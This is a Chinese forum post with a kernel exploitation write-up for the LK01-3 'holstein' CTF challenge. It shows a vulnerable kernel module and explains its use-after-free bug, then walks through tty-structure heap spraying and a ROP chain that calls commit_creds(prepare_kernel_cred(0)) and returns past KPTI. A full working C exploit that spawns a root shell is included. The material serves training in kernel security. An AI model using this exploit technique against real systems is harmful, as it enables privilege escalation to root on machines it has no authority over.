找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2572

积分

0

好友

358

主题
发表于 4 小时前 | 查看: 0| 回复: 0

UAF(Use-After-Free)是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以被使用所造成的漏洞。

LK01-3

结合题目来看UAF漏洞。

项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3

open模块

在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf中。

#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

read模块

在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中。

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

write模块

在写模块中,会从用户空间拷贝400字节数据到内核堆空间中。

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

close模块

close模块会释放g_buf指向的堆块空间。

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

漏洞分析

在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致。与LK01-2不同,这里不存在堆溢出漏洞。然而在open模块中,g_buf是唯一用来存储堆地址的变量,并且没有对调用次数进行限制。这意味着多次调用open模块会导致多个指针指向同一块内存。如果这块内存被释放,就会造成经典的 UAF漏洞

下图清晰地展示了构造UAF漏洞的流程。

UAF漏洞利用流程示意图

g_buf被释放后,通过fd2文件描述符仍然能够操控g_buf原本指向的内存空间。接下来的关键问题是如何劫持程序流程。由于内核堆空间通过slab分配器进行管理,并且具备缓存机制,被释放的g_buf会进入缓存。有趣的是,g_buf的大小为0x400,这与tty结构体的大小一致。因此,我们可以通过堆喷(heap spraying)技术,确保释放后的g_buf空间被重新分配为tty结构体。构造UAF的核心代码如下:

...
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1);
    for (int i = 0; i < 50; i++)
    {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
        {
            printf("error!\n");
            exit(-1);
        }
    }
...

这里有一个值得思考的点:模块自定义的close函数仅仅释放了g_buf的堆内存,没有其他操作。那么在执行close(fd1)之后,是否还能对文件描述符fd1进行操作呢?实验证明不行。查阅资料后得知,文件描述符本身的移除是内核的默认行为,与模块重定义的close操作无关。

在成功构造UAF漏洞并进行堆喷之后,我们实际操作的g_buf指向的已经是一个tty结构体。在该结构体中,偏移0x18处存放着一个指向函数表的操作指针(ops)。我们的目标就是将这个函数表指针修改为我们自定义的函数表地址。后续的利用思路与LK01-2类似:通过函数指针劫持,实现栈迁移到可控的堆空间,然后执行commit_creds(prepare_kernel_cred(0))提权,最后利用swapgs_restore_regs_and_return_to_usermode函数绕过KPTI保护,安全返回用户态。

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz \
    -net nic,model=virtio \
    -net user \
    -s

exp

#include<stdio.h>
#include<ctype.h>
#include<fcntl.h>
#include<unistd.h>
#include<sys/stat.h>
#include<string.h>
#include<stdlib.h>
int spray[100];

//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode

#define push_rdx_pop_rsp_offset 0x14fbe8
#define pop_rdi_ret_offset 0x14078a
#define pop_rcx_ret_offset 0xeb7e4
#define prepare_kernel_cred_offset 0x72560
#define commit_creds_offset 0x723c0
#define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define mov_rdi_rax_offset  0x638e9b

unsigned long user_cs, user_sp, user_ss, user_rflags;

void backdoor()
{
    printf("****getshell****");
    system("id");
    system("/bin/sh");
}

void save_user_land()
{
    __asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
    );
    puts("
  • Saved userland registers");     printf("[#] cs: 0x%lx \n", user_cs);     printf("[#] ss: 0x%lx \n", user_ss);     printf("[#] rsp: 0x%lx \n", user_sp);     printf("[#] rflags: 0x%lx \n", user_rflags);     printf("[#] backdoor: 0x%lx \n\n", backdoor); } int main() {     save_user_land();     int fd1 = open("/dev/holstein", O_RDWR);     int fd2 = open("/dev/holstein", O_RDWR);     close(fd1);     for (int i = 0; i < 50; i++)     {         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);         if (spray[i] == -1)         {             printf("error!\n");             exit(-1);         }     }     char buf[0x400];     read(fd2, buf, 0x400);     unsigned long *p = (unsigned long *)&buf;     //for (unsigned int i = 0; i < 0x80; i++)     // printf("[%x]:addr:0x%lx\n",i,p[i]);     unsigned long kernel_addr = p[3];     unsigned long heap_addr = p[7];     printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);     unsigned long kernel_base = kernel_addr - 0xc39c60;     unsigned long g_buf = heap_addr - 0x38;     printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);     *(unsigned long *)&buf[0x18] = g_buf;     p[0xc] = push_rdx_pop_rsp_offset + kernel_base;     //for (unsigned long i = 0xd; i < 0x80; i++)     // p[i] = i;     p[0x21] = pop_rdi_ret_offset + kernel_base;     p[0x22] = 0;     p[0x23] = prepare_kernel_cred_offset + kernel_base;     p[0x24] = pop_rcx_ret_offset + kernel_base;     p[0x25] = 0;     p[0x26] = mov_rdi_rax_offset + kernel_base;     p[0x27] = commit_creds_offset + kernel_base;     p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;     p[0x29] = 0;     p[0x2a] = 0;     p[0x2b] = (unsigned long)backdoor;     p[0x2c] = user_cs;     p[0x2d] = user_rflags;     p[0x2e] = user_sp;     p[0x2f] = user_ss;     write(fd2, buf, 0x400);     for (int i = 0; i < 50; i++)         ioctl(spray[i], 0, g_buf+0x100); }
  • 参考链接

    https://blog-wohin-me.translate.goog/posts/pawnyable-0203/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl

    https://pawnyable-cafe.translate.goog/linux-kernel/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN

    想了解更多内核安全、逆向工程相关的深度技术解析和实战案例,欢迎访问云栈社区的安全技术板块进行交流探讨。




    上一篇:NVIDIA GPU容器化原理与实战指南:构建、管理与最佳实践
    下一篇:DIY玩家的物品管理方案:自托管Homebox搭建与体验分享
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-1-24 16:34 , Processed in 0.293378 second(s), 42 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表